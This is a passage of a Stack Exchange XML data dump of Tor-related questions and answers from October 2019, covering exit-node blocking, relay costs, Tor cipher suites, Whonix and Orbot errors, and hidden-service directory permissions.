  <row Id="20368" PostTypeId="1" CreationDate="2019-10-04T20:48:43.920" Score="0" ViewCount="137" Body="&lt;p&gt;I configured Tor browser and privoxy using &lt;a href=&quot;https://jarroba.com/anonymous-scraping-by-tor-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jarroba.com/anonymous-scraping-by-tor-network/&lt;/a&gt;.&#xA;When I checked my IP with &lt;a href=&quot;http://icanhazip.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://icanhazip.com/&lt;/a&gt;, my IP addresses are changed.&#xA;But, when I tried to scrape desired website, I got: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You are attempting to access &quot;website&quot; using an anonymous private/proxy network. Please disable that and try accessing the site again. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27861" LastActivityDate="2019-10-05T09:12:31.733" Title="Page still get my IP although using Tor and Privoxy" Tags="|privoxy|" AnswerCount="1" CommentCount="3" ClosedDate="2019-10-13T16:02:49.673" ContentLicense="CC BY-SA 4.0" />
  <row Id="20370" PostTypeId="2" ParentId="20368" CreationDate="2019-10-05T09:12:31.733" Score="3" Body="&lt;p&gt;Sites you visit while using Tor have a relatively easy time to find out that you are using Tor. This is because your connection comes from one of the 1000 or so Exit Relays in the Tor network. You can not &quot;overcome&quot; this while using Tor, all Exit Relays are publicly known. One thing you could try doing is contact the site and ask them nicely not to block access to their service for all Tor users.&lt;/p&gt;&#xA;" OwnerUserId="27862" LastActivityDate="2019-10-05T09:12:31.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20371" PostTypeId="1" CreationDate="2019-10-05T15:25:29.570" Score="0" ViewCount="56" Body="&lt;p&gt;How to make and run up entry (or relay) node of tor on virtualbox with linux on usb ? Will it work same as node, installed and ran on usual computer (on host) with linux? Should I install and run up node same method as node on host? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="27863" LastActivityDate="2019-10-06T07:25:15.637" Title="Entry node on virtualbox with linux on usb?" Tags="|linux|node|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20372" PostTypeId="1" CreationDate="2019-10-05T16:17:45.273" Score="1" ViewCount="1780" Body="&lt;p&gt;I'm trying to determine what encryption (asymmetric and symmetric) Tor actually uses these days for client circuits.  I've read the changelogs and only seem to see nebulous statements about having a ciphersuite that more closely matches what Firefox uses, but no actual details as to what that might be.  Enabling the highest level of logging in my Tor client doesn't reveal anything either.  I also see mentions of elliptic curve and chacha20 support, but can't tell if that is being used in practice.  Other changelog entries suggest that AES256 is favored over AES128.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is assuming I'm using the most recent version of the Tor client, what asymmetric encryption algorithm is used, and what symmetric encryption algorithm is used?  Is it x25519 for key exchange and AES256 for the symmetric cipher, for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="27864" LastEditorUserId="27864" LastEditDate="2019-10-05T18:28:39.190" LastActivityDate="2021-04-02T15:04:55.460" Title="What encryption is actually used by tor circuits?" Tags="|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20373" PostTypeId="1" CreationDate="2019-10-05T20:58:11.893" Score="1" ViewCount="3465" Body="&lt;p&gt;Error: &quot; Command line option --allow-releaseinfo-change is not understood in combination with the other options &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Error Message does not disappear, whatever the User does. I did nothing to my Whonix, it just updates itself into a deprecated repository, -- and NO move can get away this error, of above --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which happens on the Workstation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Gateway, there's another problem with a hidden autostart of some &quot;kdesudo&quot; instance, - nowhere documented, not away-doable, just a small error popup, merely in the Gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the Repository and error Message when trying, to update the repository, is worse, and not overcomeable by a normal User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While for some Users, this error goes away, for some other Users, it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: I can't update my Whonix-Installation. Plain and simple. I suggest a tad more reality-nearness to the Whonix-Team, which for example does this website here way too complicated. Oompf. The &quot;politeness&quot; online is appalling, and confusing and deceiving, even anywhere. Sad.&lt;/p&gt;&#xA;" OwnerUserId="27866" LastActivityDate="2022-02-26T12:04:50.563" Title="Error: &quot; Command line option --allow-releaseinfo-change is not understood in combination with the other options &quot;" Tags="|whonix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20374" PostTypeId="1" CreationDate="2019-10-06T03:48:16.993" Score="0" ViewCount="1758" Body="&lt;p&gt;This is a simple question probably asked before, but can you make the linux torbrowser launcher, install an older version of torbrowser? The torbrowser launcher settings give no option to do this, so it just installs the latest. Regardless of older versions having more bugs and vulnerabilities, you can install the older versions manually, but this doesn't seem the same as when it is installed using the launcher.&lt;/p&gt;&#xA;" OwnerUserId="19153" LastActivityDate="2022-03-24T21:41:31.790" Title="Install older versions of tor browser in linux?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20375" PostTypeId="2" ParentId="20374" CreationDate="2019-10-06T06:50:27.087" Score="0" Body="&lt;p&gt;That's not possible unless you were to hack the code of torbrowser-launcher yourself. The reason for that is because every new version includes code fixes to help ensure your anonymity online. Using an old version would make yourself more at risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's your computer and you can do with it as you like. Here is the original &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; if you want to tinker with it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-06T06:50:27.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20376" PostTypeId="2" ParentId="20371" CreationDate="2019-10-06T07:25:15.637" Score="1" Body="&lt;p&gt;Yes it will work and it will be the same as running it directly on a laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some caveats though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor expects nodes to be stable. If you are regularly rebooting your laptop or VM or removing the USB, then this isn't a stable connection and the relay will never see much traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better option would be to just install Tor on a cheap dedication machine like a raspberry pi and just let it run without interruption.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-06T07:25:15.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20377" PostTypeId="2" ParentId="20373" CreationDate="2019-10-06T09:49:20.927" Score="0" Body="&lt;p&gt;Sounds like an old, outdated, deprecated version of Whonix. KDE something?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hidden autostart of some &quot;kdesudo&quot; instance&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Rather old issue which doesn't happen anymore in recent or updated versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forums.whonix.org/t/kdesudo-error-popup-window-sdwdate-gui/5642&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org/t/kdesudo-error-popup-window-sdwdate-gui/5642&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is auxiliary. Will be fixed when updates are applied or new version installed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;allow-releaseinfo-change&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forums.whonix.org/t/apt-get-error-e-repository-tor-https-cdn-aws-deb-debian-org-debian-security-buster-updates-inrelease-changed-its-suite-value-from-testing-to-stable/7704&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org/t/apt-get-error-e-repository-tor-https-cdn-aws-deb-debian-org-debian-security-buster-updates-inrelease-changed-its-suite-value-from-testing-to-stable/7704&lt;/a&gt; applies?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I suggest a tad more reality-nearness to the Whonix-Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Knowledge / awareness isn't the limiting factor Resources are. Unfortunately not possible. Details elaborated here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Reporting_Bugs#Linux_User_Experience_versus_Commercial_Operating_Systems&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Reporting_Bugs#Linux_User_Experience_versus_Commercial_Operating_Systems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due the issue described in above link... Please also have a look at &lt;a href=&quot;https://www.whonix.org/wiki/Reporting_Bugs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Reporting_Bugs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To provide support it's required to know the installed version number, which command was run and what the output of the command was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also due the issue described in above link, it is required to somewhat stay on top of important Whonix news as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Stay_Tuned&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Stay_Tuned&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the important news listed on &lt;a href=&quot;https://forums.whonix.org/tags/important-news&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org/tags/important-news&lt;/a&gt; are infrequent and non-voluminous. These will keep users posted about issues such as &#xA;&lt;a href=&quot;https://forums.whonix.org/t/apt-get-error-e-repository-tor-https-cdn-aws-deb-debian-org-debian-security-buster-updates-inrelease-changed-its-suite-value-from-testing-to-stable/7704&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org/t/apt-get-error-e-repository-tor-https-cdn-aws-deb-debian-org-debian-security-buster-updates-inrelease-changed-its-suite-value-from-testing-to-stable/7704&lt;/a&gt; and also notify when old versions are deprecated, when it's required to upgrade and how, and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of question is less suited for tor.stackexchange.com and more suitable for forums.whonix.org since Whonix specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can be hard to know sometimes however &lt;a href=&quot;https://www.whonix.org/wiki/Support&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Support&lt;/a&gt; gives hints on which question fits where best.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2019-10-06T09:49:20.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20378" PostTypeId="1" AcceptedAnswerId="20381" CreationDate="2019-10-06T16:53:58.003" Score="1" ViewCount="413" Body="&lt;p&gt;I heard today at a conference that running an exit node can be upwards of $1000/day USD in bandwidth costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same person says that it could cost over $100/day to run a middle node. I know this isn't true from personal experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is for people who actually run exit nodes, what kind of bandwidth are you actually using and do you find the financial costs to be prohibitive?&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-07T00:13:07.320" Title="Financial Cost of Running an exit node" Tags="|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20379" PostTypeId="2" ParentId="20378" CreationDate="2019-10-06T19:13:19.907" Score="1" Body="&lt;p&gt;The mentioned costs are definitely too much. It would be interesting to know what the base of this estimate is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run different kind of Tor nodes. The cheapest one is a BananaPi. This is attached to a 100 MBit connection and makes ~30 Mbit. This costs next to nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also rent servers (sometimes a VPS works). So you can have a Tor node (middle or exit) with less than 50 € per month. If you ask for a guaranteed (as in dedicated) bandwidth (1 GBit or more), the costs will raise to several hundred per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to run an exit relay, it is recommended to ask the provider first. It might be that the charge a bit more. Furthermore you will have some cost in the sense that you need to answer abuse mails. But also this amounts to less than an hour per week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general I'd say that the mentioned cost are grossly overrated.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-10-06T19:13:19.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20381" PostTypeId="2" ParentId="20378" CreationDate="2019-10-07T00:13:07.320" Score="2" Body="&lt;p&gt;I would definitely recommend asking the person making the claim for the calculations underlying it.  I suppose, if you had an all-open exit policy, and were in a location where traffic was fully-metered and &lt;em&gt;very&lt;/em&gt; expensive, you &lt;em&gt;might&lt;/em&gt; be able to rack up US$1,000/day in costs, but that is very far from the common case.  Even if you &lt;em&gt;were&lt;/em&gt; running an exit in such a location, you can limit usage using accounting, which this person appears to be unaware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes I run are on unmetered (but contended) Gbit connections, and they cost less than US$100/month for machine &lt;em&gt;and&lt;/em&gt; bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you've got experience with the other claim that this person made -- that a middle node costs over $100/day to run -- and you know it to be false, I think you've got all the data you need to conclude that whoever made the statement about exit nodes is speaking from their posterior, and can be ignored.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-07T00:13:07.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20382" PostTypeId="1" CreationDate="2019-10-07T13:50:47.120" Score="0" ViewCount="3312" Body="&lt;p&gt;When I start Orbot up on my phone in VPN mode, it gets stuck just &quot;starting&quot;. I've left it for up to 10 minutes but it ends up going nowhere. I've tried using bridges and changing my TOR identity, but to no avail. Weird thing is though, sometimes it does end up connecting fine, at the same wifi, using what I believe to be the same settings. Is there anything that could be different that's preventing me from connecting?&lt;/p&gt;&#xA;" OwnerUserId="27876" LastActivityDate="2022-02-25T22:00:40.090" Title="Orbot having trouble connecting" Tags="|orbot|vpn|mobile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20383" PostTypeId="1" CreationDate="2019-10-07T18:10:27.437" Score="0" ViewCount="38" Body="&lt;p&gt;If this has been answered, I can't find it. So, please have patience. My ISP limits the amount of data I may receive in a month. If I am using Tor, can the ISP measure how much data I am receiving?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="27879" LastEditorUserId="88" LastEditDate="2021-05-04T21:59:33.427" LastActivityDate="2021-05-04T21:59:33.427" Title="ISP Bandwidth Limitations" Tags="|anonymity|internet-service-provider|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20384" PostTypeId="2" ParentId="15468" CreationDate="2019-10-07T18:48:46.290" Score="1" Body="&lt;p&gt;You must first evaluate your threat model. If you are browsing Tor for fun, Windows is fine. If you are browsing Tor to do something illegal in your area of the world, then you would need to take more precaution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a slight aside, this poses potentially an ethical dilemma, I draw the line with providing people advice on how to potentially get away with illegal things, so my only answer is to evaluate your threat model and I will assume your are not doing anything illegal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will assume you have valid reasons for paranoia, i.e. are threatened in some way and/or part of a marginalized group that finds themselves at odds with the powers at be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend Tails OS. Follow the instructions &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Why Tails? It is a live OS, meaning, as an amnesiac, it cannot leave a trail for those pursuing you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't mean you can't be tracked, that just means it is harder to have evidence of it later. ISP's, cell towers, internet backbone infrastructure, etc. all log and likely pass on your requests and metadata to local, national, and international government apparatuses, therefore it behooves you to also ensure DNS is not leaked, you completely ensure anonymity by not visiting real name profiles for yourself, and don't use locations near your place of residence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional precautions:&#xA;You should also run your own VPN on a VPS, and run your own DNS over HTTPS server if possible. These would add more layers of protection, but again, not fully safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional additional precautions:&#xA;Buy a burner laptop and pay as you go cell with cash and use one time. Each time. That is like $200 USD per session if you get a really cheap laptop. Hopefully what you are doing is worth it.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2019-10-07T18:48:46.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20385" PostTypeId="2" ParentId="6137" CreationDate="2019-10-07T18:52:53.373" Score="1" Body="&lt;p&gt;I recommend looking into DNS over HTTPS for any clearnet traffic that you may be touching, including if you are running your own exit node: &lt;a href=&quot;https://dohproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is an example along with instructions on running your own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running my own at &lt;a href=&quot;https://jcdns.fun&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jcdns.fun&lt;/a&gt; to experiment with it and have both my Firefox Nightly browser and Chromium browsers pointed at it for all DNS requests. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2019-10-07T18:52:53.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20386" PostTypeId="1" CreationDate="2019-10-07T19:32:46.900" Score="0" ViewCount="2015" Body="&lt;p&gt;I am new to tor and tails os and I can't find anything about if it is safe to connect to regular websites, ex go to Reddit.com but still be anonymous (not logging in an account)&lt;/p&gt;&#xA;" OwnerUserId="27880" LastActivityDate="2019-10-08T08:48:54.867" Title="is it ok to connect to regular websites (clearnet) with tor but still be anonymous" Tags="|clear-net|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20387" PostTypeId="2" ParentId="20383" CreationDate="2019-10-07T23:38:05.763" Score="2" Body="&lt;p&gt;Yes, most likely. Your traffic passed through your ISP regardless of whether or not you use tor. They will likely simply measure the traffic going to your IP even if its encrypted or not.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-10-07T23:38:05.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20388" PostTypeId="2" ParentId="20386" CreationDate="2019-10-07T23:42:24.773" Score="1" Body="&lt;p&gt;It is as safe as using any other browser and internet connection, granted that you live in a country that has not banned tor traffic in general. If you live in a less strict country, say the USA, you can perfectly fine use tor for regular sites like reddit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note on the privacy part however: if you visit regular sites in a systematic order, or log in to your regular user accounts from tor, your anonymity might be at risk, because it theoretically would be possible to map your tor IP together with your regular IP at least for the moment.&#xA;If you want more anonymity, do not mix together the two worlds.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-10-07T23:42:24.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20389" PostTypeId="2" ParentId="20382" CreationDate="2019-10-08T01:31:18.453" Score="0" Body="&lt;p&gt;I have the same problem, and the only way I've found to make it work is to in the device settings force stop and then clear the app data and cache then start the app every time I reconnect, which is kinda annoying, but still worth it for the protection it provides.&lt;/p&gt;&#xA;" OwnerUserId="27881" LastActivityDate="2019-10-08T01:31:18.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20390" PostTypeId="2" ParentId="17859" CreationDate="2019-10-08T01:31:45.627" Score="1" Body="&lt;p&gt;Only the developers of TBB could answer your question with 100% accuracy.  A couple of possible reasons include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The TBB developers haven't gotten around to it yet -- either flipping the switch, or (probably more likely) doing an analysis of the privacy trade-offs that would result from enabling such a setting; or&lt;/li&gt;&#xA;&lt;li&gt;The TBB developers are dead-set against sending a whole pile of potentially interesting traffic to a single, centralised, US-based service, just on general principle.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-08T01:31:45.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20391" PostTypeId="1" AcceptedAnswerId="20395" CreationDate="2019-10-08T03:36:55.113" Score="1" ViewCount="178" Body="&lt;p&gt;I just wonder how often will Tor send a packet when the circuit is idle (when you launch Tor and do not visit any website)? I think Tor will regularly send a cell to keep the circuit alive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find any solid number in Tor's manual. &lt;/p&gt;&#xA;" OwnerUserId="27538" LastActivityDate="2019-10-08T10:27:20.390" Title="How often does Tor send a heartbeat in a circuit?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20392" PostTypeId="2" ParentId="20386" CreationDate="2019-10-08T08:48:54.867" Score="0" Body="&lt;p&gt;It's best to understand what a website sees when you visit. They see your IP and from that they can see where you are physically. Using javascript and cookies, they can actually see and record quite a lot of data about you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will hide your IP and hide where you are going on the internet and by extension where you are physically. When you add Tor Browser, you can also hide a lot more information about yourself because the goal of Tor Browser is to make you look exactly like every other Tor Browser user. When you visit Reddit, they no longer see &lt;strong&gt;you&lt;/strong&gt;, they see &lt;strong&gt;ANONYMOUS TOR USER&lt;/strong&gt;. Some websites like Google really don't like that. Their business requires that they gather information about &lt;strong&gt;you&lt;/strong&gt; and so they may block you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really what Tor Browser and Tails by extension was designed for.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-08T08:48:54.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20394" PostTypeId="2" ParentId="20372" CreationDate="2019-10-08T10:22:34.023" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n199&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tor-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Connections between two Tor relays, or between a client and a relay, use TLS/SSLv3 for link authentication and encryption.  All implementations MUST support the SSLv3 ciphersuite &quot;TLS_DHE_RSA_WITH_AES_128_CBC_SHA&quot; if it is available. They SHOULD support better ciphersuites if available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that the symmetric cipher in use on any given connection could vary, and you need to watch the connection establishment to see what is actually used.  I just did a test between an up-to-date TBB and whatever guard I got given, and the key exchange used ECDHE,  and AES-256-GCM was negotiated as the symmetric cipher.  Assuming the guard I used is running up-to-date Tor, it's likely that what would be used by everyone who's up-to-date.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-08T10:22:34.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20395" PostTypeId="2" ParentId="20391" CreationDate="2019-10-08T10:27:20.390" Score="2" Body="&lt;p&gt;Unless you've modified the &lt;code&gt;KeepalivePeriod&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;, it should be using the default value, which is 300 seconds (5 minutes) according to &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-08T10:27:20.390" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20396" PostTypeId="2" ParentId="15468" CreationDate="2019-10-08T11:35:30.140" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;will it affect my anonymity if I use that OS through virtual machine in windows?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yes it can!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the &lt;strong&gt;host&lt;/strong&gt; OS is &lt;strong&gt;compromised&lt;/strong&gt; it may be completely &lt;strong&gt;pointless what OS&lt;/strong&gt; you are using &lt;strong&gt;in the VM&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;also &lt;strong&gt;software is never 100% bug-free&lt;/strong&gt;... &lt;em&gt;e.g. sooner or later i always experienced critical bugs in sandboxes and (very abridged) you can see a VM more or less as an &quot;advanced sandbox&quot;.&lt;/em&gt;&lt;br&gt;&#xA;long story short: &lt;strong&gt;whenever possible, use physical separation!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the recommended OS to access dark web other than windows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;beforehand: fiddling around with things you haven't any clue of and just copying &amp;amp; pasting a bunch of random commands is IMHO also a security risk!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;well... the best compromise for easy usage and high security would be &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Tails&lt;/strong&gt;&lt;/a&gt; and if anyhow possible as a live system starting form an DVD. using an USB stick and if necessary a persistent storage may also be an acceptable trade-off for more convenience.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you still want to stick with a VM, &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; may be worth a look... but the security risk, host is still pending.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;therefore &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qubes OS&lt;/a&gt; would be the high security solution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;perhaps this answer may also be helpful for you:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/a/17458/5234&quot;&gt;https://tor.stackexchange.com/a/17458/5234&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2019-10-08T11:35:30.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20397" PostTypeId="1" CreationDate="2019-10-08T18:45:38.343" Score="1" ViewCount="781" Body="&lt;p&gt;When I try to start tor with invalid permission, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./start-tor.sh &#xA;[sudo] password for user: &#xA;Oct 08 18:20:32.210 [notice] Tor 0.4.0.5 running on Linux with Libevent 2.0.21-stable, OpenSSL 1.1.0k, Zlib 1.2.8, Liblzma N/A, and Libzstd N/A.&#xA;Oct 08 18:20:32.210 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Oct 08 18:20:32.217 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Oct 08 18:20:32.244 [warn] Permissions on directory /home/www/secret/ are too permissive.&#xA;Oct 08 18:20:32.244 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;Oct 08 18:20:32.244 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chmod 700 /home/www/secret/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tor fires up fine but my hidden_service fails to come live on the tor network with nginx. The urls just hangs. No error from server at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chmod 770 /home/www/secret/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My tor url comes up live. Problem disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem come in when I try and reboot the device with systemd trying to start it. Even if I get systemd to start it correctly, the webservices won't come live until I chmod 770 the directory, following a service start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my webservice permissions to work for tor startup and hidden_directory services at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My startup script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat ../start-tor.sh &#xA;#! /bin/bash&#xA;&#xA;sudo -u www-data 'tor'&#xA;&#xA;&#xA;$ ls -la&#xA;total 2748&#xA;drwxrwxr-x 10 www-data www-data    4096 Oct  5 21:25 .&#xA;drwxr-xr-x  8 www-data www-data    4096 Jun 17 06:28 ..&#xA;drwxrwx---  8 www-data www-data    4096 Oct  8 18:20 secret&#xA;-rwxrwxr-x  1 www-data www-data      37 Sep  5 05:39 start-tor.sh&#xA;-rwxrwxr-x  1 www-data www-data      35 Aug  1 01:22 stop-tor.sh&#xA;drwxrwxr-x  3 www-data www-data    4096 Sep  4 16:22 .tor&#xA;-rwxrwxr-x  1 www-data www-data     697 Aug  1 02:08 tor.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated:&#xA;edits in 